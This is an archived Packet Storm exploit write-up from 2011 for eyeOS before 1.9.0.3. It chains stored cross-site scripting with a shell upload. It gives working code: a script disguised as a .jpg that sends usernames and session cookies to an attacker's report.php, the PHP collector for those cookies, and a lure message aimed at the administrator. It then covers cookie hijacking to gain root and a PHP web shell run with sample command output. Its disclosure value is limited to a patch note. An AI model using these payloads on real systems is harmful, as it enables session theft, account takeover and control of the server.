exploit the possibilities

eyeOS Shell Upload / Cross Site Scripting

eyeOS Shell Upload / Cross Site Scripting
Posted May 12, 2011
Authored by knull | Site leethack.info

This is a brief write up discussing how to leverage cross site scripting and shell upload vulnerabilities in eyeOS versions prior to 1.9.0.3.

tags | exploit, shell, vulnerability, xss
MD5 | a7dfc57edaa98567723a299e7e28878f

eyeOS Shell Upload / Cross Site Scripting

Change Mirror Download
A few weeks ago, an exploit for an increasingly more popular open source OS on http://www.exploit-db.com/exploits/17220/ was made public, it was titled 'eyeOS <= 1.9.0.2 Stored XSS Vulnerability Using Image Files'. I wondered if more could be done than just plain old XSS...

Based on the PoC, I came up with nothing less than a way to collect the username and session cookie for eyeOS:

<!doctype html>
<script>
var http = new XMLHttpRequest()
var url = "http://localhost/report.php?" + "user=" + top.document.title + "&cookie=" + document.cookie;
http.open("GET", url, true);
http.send("");
</script>

Once saved to a file such as 'filename.jpg', this file can be uploaded to eyeOS's 'Public' group directory from within eyeOS itself, where unsuspecting users can be lured into clicking the malicious file, triggering its payload. Social engineering can also be used by the attacker to get them to download and click on the file via eyeOS's internal messaging. By attaching the malicious 'jpg' file and a bit of social engineering, pretending to ask for help from the administrator of eyeOS (root) with a message such as: 'my image doesnt open, can you check plz?!' the root user for eyeOS can be compromised.

The following code will go on the malicious server as report.php (in this example):

<?php
$usercookies = fopen("usercookies", "a");
fwrite($usercookies, "User: " . $_GET['user'] . "\t" ."Cookie: " . $_GET['cookie'] . "\n");
?>

Once the image is clicked the file 'usercookies' will have usernames and cookies appended to it, looking something like this:
User: root@eyeos Cookie: PHPSESSID=5efd5cee3edd6ab65f4644036ee6cc34

The malicious attacker may use the following linux command to watch for new entries in real time:
`watch cat usercookies`

After which the user can register, sign into eyeOS, and then edit his cookie (with something like the 'Cookie Manager' add-on for Firefox) to reflect that of 'root', essentially becoming 'root' on eyeOS.

Once having administrator priviledges on eyeOS its pretty much game over, any and all files in the eyeOS directory tree maybe viewed, edited, or downloaded. A PHP shell can be uploaded through the standard eyeOS uploader to pretty much anywhere in the eyeOS directory tree, even real://../ (revealing 'EYE_ROOT' which was designed not to be viewed by other than the administrators of the eyeOS installation) can be viewed and uploaded to, ultimately gaining control of the server with the permissions of the service hosting eyeOS.

After uploading this shell:

<?php
system($_GET['cmd']);
?>

to real://../ it can be used like so:

http://localhost/eyeOS/shell.php?cmd=id

with the results as:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Other shells can be uploaded instead of this simple example.

The eyeOS 1.9 branch has been patched as of version 1.9.0.3, the code changes patching the XSS flaw may be viewed http://eyeos.svn.sourceforge.net/viewvc/eyeos?limit_changes=0&view=revision&revision=7188

Login or Register to add favorites

File Archive:

August 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    3 Files
  • 2
    Aug 2nd
    2 Files
  • 3
    Aug 3rd
    32 Files
  • 4
    Aug 4th
    22 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    19 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    0 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close